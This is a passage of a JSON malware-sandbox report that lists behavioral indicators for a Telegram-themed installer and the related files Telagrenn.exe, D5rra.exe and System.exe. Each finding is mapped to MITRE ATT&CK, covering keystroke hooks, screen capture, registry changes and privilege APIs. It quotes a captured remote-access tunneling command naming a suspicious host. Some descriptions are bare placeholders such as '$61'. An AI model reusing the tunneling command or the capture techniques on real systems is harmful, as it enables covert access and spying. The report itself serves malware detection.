tcp://127.0.0.1:443 --hostname www.fergcvbt.com\" (Indicator: \"--host\"; Source: \"00000000-00002688-00000C8A-31980087516\")\n Found string \"access tcp --url tcp://127.0.0.1:443 --hostname www.fergcvbt.com\" (Indicator: \"--host\"; File: \"System.exe\")","origin":"File/Memory","mitre_attack_id":"T1219","relevance":1,"id":"string-883","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to perform remote desktop activity (API string)","description":"Found reference to API \"WTSUnRegisterSessionNotification\" (Indicator: \"WTSUnRegisterSessionNotification\"; File: \"Telagrenn.exe\")\n Found reference to API \"WTSRegisterSessionNotification\" (Indicator: \"WTSRegisterSessionNotification\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1021.001","relevance":1,"id":"string-436","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"F+ncalrpc:[OLE80101E01931C2321BE3EA247A43A]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002316.00000000.110315.25280000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE80101E01931C2321BE3EA247A43A]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002316.00000000.110315.273F0000.00000004.mdmp, 00000000-00002316.00000001.112236.273F0000.00000004.mdmp, 00000000-00002316.00000002.114156.273F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00001040.00000000.110716.73424000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00002316.00000000.110315.25280000.00000004.mdmp, 00000000-00002316.00000001.112236.25280000.00000004.mdmp, 00000000-00002316.00000002.114156.25280000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"GetDC\" (Indicator: \"GetDC\"; File: \"Telagrenn.exe\")\n Found reference to API \"CreateCompatibleDC\" (Indicator: \"CreateCompatibleDC\"; File: \"Telagrenn.exe\")\n Found reference to API \"BitBlt\" (Indicator: \"BitBlt\"; File: \"Telagrenn.exe\")\n Found reference to API \"CreateCompatibleBitmap\" (Indicator: \"CreateCompatibleBitmap\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetDIBits\" (Indicator: \"GetDIBits\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetWindowDC\" (Indicator: \"GetWindowDC\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetDCEx\" (Indicator: \"GetDC\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetDesktopWindow\" (Indicator: \"GetDesktopWindow\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to determine the valid logical drives on the computer","description":"Found string \"GetLogicalDriveStringsA\" (Indicator: \"getlogicaldrivestringsa\"; Source: \"00000000-00002804-00000C2C-650386282\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-730","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","description":"Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: CoreLogic.dll]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: genteert.dll]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: is-PVEBQ.tmp]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: is-2BAEF.tmp]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: is-3R46B.tmp]","origin":"Static Parser","mitre_attack_id":"T1059.003","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegOpenKeyExW\" in file \"Telagrenn.exe\"\n Found registry query API: \"RegQueryValueExW\" in file \"Telagrenn.exe\"\n Found registry query API: \"RegQueryValueExA\" in file \"Telagrenn.exe\"\n Found registry query API: \"RegOpenKeyExA\" in file \"Telagrenn.exe\"\n Found registry query API: \"RegEnumKeyExA\" in file \"Telagrenn.exe\"\n Found registry query API: \"RegEnumValueW\" in file \"Telagrenn.exe\"\n Found registry query API: \"RegQueryInfoKeyW\" in file \"Telagrenn.exe\"\n Found registry query API: \"RegEnumKeyExW\" in file \"Telagrenn.exe\"\n Found registry query API: \"RegOpenKeyA\" in file \"Telagrenn.exe\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"GetKeyNameTextW\" (Indicator: \"GetKeyNameText\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetKeyboardState\" (Indicator: \"GetKeyboardState\"; File: \"Telagrenn.exe\")\n Found reference to API \"MapVirtualKeyW\" (Indicator: \"MapVirtualKey\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetUserNameW\" (Indicator: \"GetUserName\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$61","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"Telagrenn.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"Telagrenn.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"2\"\n \"th32ProcessID\": \"0\"}\n \"cscript.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"tsetup-x64.7.0.2.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"tsetup-x64.7.0.2.tmp\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"Telegram.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"D5rra.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"D5rra.tmp\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate Windows drive types","description":"\"Telagrenn.exe\" called \"GetDriveTypeA\" with parameter C:\\ (UID: 00000000-00002804)\n \"tsetup-x64.7.0.2.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00007176)\n \"tsetup-x64.7.0.2.tmp\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00007736)\n \"D5rra.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00006424)\n \"D5rra.tmp\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00002688)","origin":"API Call","mitre_attack_id":"T1680","relevance":7,"id":"api-327","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate logical drives on the computer","description":"\"Telagrenn.exe\" called \"GetLogicalDriveStringsA\" with parameters {\"nBufferLength\": \"512\"\n \"lpBuffer\": \"C:\\\\\"}","origin":"API Call","mitre_attack_id":"T1680","relevance":6,"id":"api-326","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"Telagrenn.exe\" called \"GetComputerNameA\" (UID: 00000000-00002804)\n \"Telagrenn.exe\" called \"GetComputerNameW\" (UID: 00000000-00002804)\n \"tsetup-x64.7.0.2.tmp\" called \"GetComputerNameW\" (UID: 00000000-00007736)\n \"Telegram.exe\" called \"GetComputerNameW\" (UID: 00000000-00002316)\n \"D5rra.tmp\" called \"GetComputerNameW\" (UID: 00000000-00002688)\n \"System.exe\" called \"GetComputerNameW\" (UID: 00000000-00003244)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"tsetup-x64.7.0.2.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeffff00000008000000d8210000000001000600004f\"}\n \"tsetup-x64.7.0.2.tmp\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeffff00000008000000d8210000000001000600004f\"}\n \"D5rra.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeffff00000008000000d8210000000001000600004f\"}\n \"D5rra.tmp\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeffff00000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"Telagrenn.exe\" called \"GetUserNameA\" (UID: 00000000-00002804)\n \"tsetup-x64.7.0.2.tmp\" called \"GetUserNameW\" (UID: 00000000-00007736)\n \"D5rra.tmp\" called \"GetUserNameW\" (UID: 00000000-00002688)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$62","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to detect sandbox (imports API)","description":"Found GetCursorPos() in an import section (Source: D5rra.tmp)\n Found GetCursorPos() in an import section (Source: is-7JH8E.tmp)","origin":"Static Parser","mitre_attack_id":"T1497","relevance":1,"id":"static-132","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; File: \"Telagrenn.exe\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; File: \"Telagrenn.exe\")\n Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; File: \"Telagrenn.exe\")\n Found reference to API \"FindNextFileA\" (Indicator: \"FindNextFile\"; File: \"Telagrenn.exe\")\n Found reference to API \"FindFirstFileA\" (Indicator: \"FindFirstFile\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetEnvironmentStringsW\" (Indicator: \"GetEnvironmentStrings\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate system network resources (API string)","description":"Found reference to API \"WNetOpenEnumW\" (Indicator: \"WNetOpenEnum\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-313","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$63","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve files based on search patterns","description":"Found string \"Where should Telegram Desktop be installed?\" (Indicator: \"where \"; Source: \"00000000-00007736-00000455-20963829550\")\n Found string \"Where should Setup place the program's shortcuts?\" (Indicator: \"where \"; Source: \"00000000-00007736-00000455-24365664402\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-484","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"Telagrenn.exe\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"00000000-00006424.00000001.112162.00091000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"00000000-00007176.00000001.109201.00F01000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"Invalid hostname (contains invalid characters)\" (Indicator: \"hostname\"; Source: \"00000000-00001040.00000000.110716.E943B000.00000004.mdmp\")\n Found string \"Expected ']' to match '[' in hostname\" (Indicator: \"hostname\"; Source: \"00000000-00001040.00000000.110716.E943B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"Telegram.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteValueW\" in file \"Telagrenn.exe\"\n Found registry deletion API: \"RegDeleteKeyW\" in file \"Telagrenn.exe\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"System Security","name":"Calls APIs used for Remove Service","description":"Observed import api \"DeleteService\" which can \"Deregister service in Service Control Manager database\" [Source: CoreLogic.dll]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-188","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"System Security","name":"Calls an API used to change the configuration parameters of a service","description":"Observed import api \"ChangeServiceConfig\" which can be \"used to change the configuration parameters of a service\" [Source: CoreLogic.dll]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-193","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: guig.dll]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: D5rra.tmp]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: is-7JH8E.tmp]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$64","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; File: \"Telagrenn.exe\")\n Found reference to API \"RemoveDirectoryA\" (Indicator: \"RemoveDirectory\"; File: \"Telagrenn.exe\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"Telagrenn.exe\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; File: \"Telagrenn.exe\")\n Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; File: \"Telagrenn.exe\")\n Found reference to API \"SetWindowsHookExW\" (Indicator: \"SetWindowsHook\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"00000000-00007176.00000001.109201.00F01000.00000020.mdmp\")\n Found reference to API \"SeShutdownPrivilege\" (Indicator: \"SeShutdownPrivilege\"; File: \"00000000-00007176.00000001.109201.00F01000.00000020.mdmp\")\n Found reference to API \"LookupPrivilegeValueW\" (Indicator: \"LookupPrivilegeValue\"; File: \"Telagrenn.exe\")\n Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; File: \"Telagrenn.exe\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; File: \"Telagrenn.exe\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"InitializeSid\"; File: \"Telagrenn.exe\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; File: \"Telagrenn.exe\")\n Found reference to API \"EqualSid\" (Indicator: \"EqualSid\"; File: \"Telagrenn.exe\")\n Found reference to API \"SetSecurityDescriptorDacl\" (Indicator: \"SetSecurityDescriptorDacl\"; File: \"Telagrenn.exe\")\n Found reference to API \"InitializeSecurityDescriptor\" (Indicator: \"InitializeSecurityDescriptor\"; File: \"Telagrenn.exe\")\n Found reference to API \"SetEntriesInAclW\" (Indicator: \"SetEntriesInAcl\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"Telagrenn.exe\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"Telagrenn.exe\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"tsetup-x64.7.0.2.tmp\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\USERS\\HAPUBWS\\APPDATA\\ROAMING\\TELEGRAM DESKTOP\\TELEGRAM.EXE\"; Value: \"11C344132F50DD010000000000000000000000000200000000\")\n \"Telegram.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"System.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$65","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"Telagrenn.exe\" opened \"\\Device\\KsecDD\"\n \"cscript.exe\" opened \"\\Device\\KsecDD\"\n \"tsetup-x64.7.0.2.tmp\" opened \"\\Device\\KsecDD\"\n \"Telegram.exe\" opened \"\\Device\\KsecDD\"\n \"D5rra.tmp\" opened \"\\Device\\KsecDD\"\n \"msiexec.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$66","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$67","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; File: 